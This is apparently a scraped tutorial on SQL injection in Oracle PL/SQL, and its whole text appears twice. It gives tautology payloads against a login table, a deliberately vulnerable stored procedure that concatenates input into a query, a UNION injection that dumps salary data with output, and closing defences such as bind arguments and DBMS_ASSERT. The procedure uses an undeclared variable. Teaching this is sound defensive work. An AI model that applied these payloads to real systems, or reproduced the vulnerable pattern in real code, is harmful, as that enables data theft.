Impact of SQL Injection
Retrieval of Crucial Data
Data Manupulation
Alter database State
Revoke Database Service
Developers are ignorant that their above query can be misused to an extent that it can list login names and passwords, which is relevant and crucial information for an organization. An invader can give input as
Code :
p'or upper(s_empname) like'%
p'or'p'='p
Code sql:
SELECT USERNAME, PASSWORD FROM USERS
WHERE USERNAME = ''
OR 1=1
SQL Injection: Example
A procedure P_GET_SAL was created to get the salary of input Employee Id.
Code sql:
CREATE OR REPLACE PROCEDURE P_GET_SAL (P_ENAME VARCHAR2 DEFAULT NULL)
AS
CUR SYS_REFCURSOR;
V_ENAME VARCHAR2(100);
V_SAL NUMBER;
BEGIN
V_STMT := 'SELECT ENAME, SALARY FROM EMPLOYEE WHERE ENAME = '''|| P_ENAME || '''';
DBMS_OUTPUT.PUT_LINE(V_STMT);
OPEN CUR FOR V_STMT;
LOOP
FETCH CUR INTO V_ENAME, V_SAL;
EXIT WHEN CUR%NOTFOUND;
DBMS_OUTPUT.PUT_LINE('Employee : '||V_ENAME||' draws '||TO_CHAR(V_SAL));
END LOOP;
CLOSE CUR;
END;
Code sql:
SQL> EXEC P_GET_SAL(‘KING’);
Employee KING draws 4500
PL/SQL PROCEDURE successfully completed.
Code sql:
SQL> EXEC P_GET_SAL('KING'' UNION SELECT ENAME, SALARY FROM EMPLOYEE WHERE 1=1');
Employee KING draws 4500
Employee ALLEN draws 1200
Employee MIKE draws 3400
Employee KATE draws 2300
Employee PAUL draws 6400
Employee TOMY draws 2700
Employee JENNY draws 6200
Employee JAKES draws 4600
PL/SQL PROCEDURE successfully completed.
Several strategies can be adopted to safeguard the SQL code and eradicate the impacts of SQL injection in applications. Some of them are listed below.
1. Use of Static SQL
2. Using Invoker’s rights
3. Use of Dynamic SQL with bind arguments
4. Validate and sanitize input using DBMS_ASSERT
-------
Retrieval of Crucial Data
Data Manupulation
Alter database State
Revoke Database Service
Developers are ignorant that their above query can be misused to an extent that it can list login names and passwords, which is relevant and crucial information for an organization. An invader can give input as
Code :
p'or upper(s_empname) like'%
p'or'p'='p
Code sql:
SELECT USERNAME, PASSWORD FROM USERS
WHERE USERNAME = ''
OR 1=1
SQL Injection: Example
A procedure P_GET_SAL was created to get the salary of input Employee Id.
Code sql:
CREATE OR REPLACE PROCEDURE P_GET_SAL (P_ENAME VARCHAR2 DEFAULT NULL)
AS
CUR SYS_REFCURSOR;
V_ENAME VARCHAR2(100);
V_SAL NUMBER;
BEGIN
V_STMT := 'SELECT ENAME, SALARY FROM EMPLOYEE WHERE ENAME = '''|| P_ENAME || '''';
DBMS_OUTPUT.PUT_LINE(V_STMT);
OPEN CUR FOR V_STMT;
LOOP
FETCH CUR INTO V_ENAME, V_SAL;
EXIT WHEN CUR%NOTFOUND;
DBMS_OUTPUT.PUT_LINE('Employee : '||V_ENAME||' draws '||TO_CHAR(V_SAL));
END LOOP;
CLOSE CUR;
END;
Code sql:
SQL> EXEC P_GET_SAL(‘KING’);
Employee KING draws 4500
PL/SQL PROCEDURE successfully completed.
Code sql:
SQL> EXEC P_GET_SAL('KING'' UNION SELECT ENAME, SALARY FROM EMPLOYEE WHERE 1=1');
Employee KING draws 4500
Employee ALLEN draws 1200
Employee MIKE draws 3400
Employee KATE draws 2300
Employee PAUL draws 6400
Employee TOMY draws 2700
Employee JENNY draws 6200
Employee JAKES draws 4600
PL/SQL PROCEDURE successfully completed.
Several strategies can be adopted to safeguard the SQL code and eradicate the impacts of SQL injection in applications. Some of them are listed below.
1. Use of Static SQL
2. Using Invoker’s rights
3. Use of Dynamic SQL with bind arguments
4. Validate and sanitize input using DBMS_ASSERT
-------
